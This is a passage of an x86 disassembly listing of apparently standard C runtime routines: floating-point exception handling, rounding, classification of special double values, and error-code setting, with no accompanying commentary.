; ---------------------------------------------------------------------------


loc_4217CD:				; CODE XREF: sub_420DB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2660353h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
